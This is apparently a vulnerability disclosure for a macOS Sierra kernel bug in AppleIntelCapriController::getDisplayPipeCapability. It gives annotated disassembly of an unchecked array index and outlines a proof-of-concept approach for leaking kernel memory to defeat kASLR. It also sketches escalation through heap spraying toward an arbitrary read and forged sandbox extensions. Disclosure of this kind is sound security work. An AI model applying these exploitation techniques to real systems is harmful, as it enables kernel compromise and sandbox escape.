MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability

Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.

This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:

AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB                 mov     r14, rdx       ; output buffer, readable from userspace
__text:000000000002A3AE                 mov     rbx, rsi       ; input buffer, controlled from userspace
...
__text:000000000002A3B8                 mov     eax, [rbx]     ; read dword
__text:000000000002A3BA                 mov     rsi, [rdi+rax*8+0E40h]  ; use as index for small inline buffer in this object
__text:000000000002A3C2                 cmp     byte ptr [rsi+1DCh], 0  ; fail if byte at +0x1dc is 0
__text:000000000002A3C9                 jz      short ___fail
__text:000000000002A3CB                 add     rsi, 1E0Dh      ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2                 mov     edx, 1D8h       ; 0x1d8 bytes
__text:000000000002A3D7                 mov     rdi, r14        ; to the buffer which will be sent back to userspace
__text:000000000002A3DA                 call    _memcpy

For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.

With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.

tested on MacOS Sierra 10.12.2 (16C67)
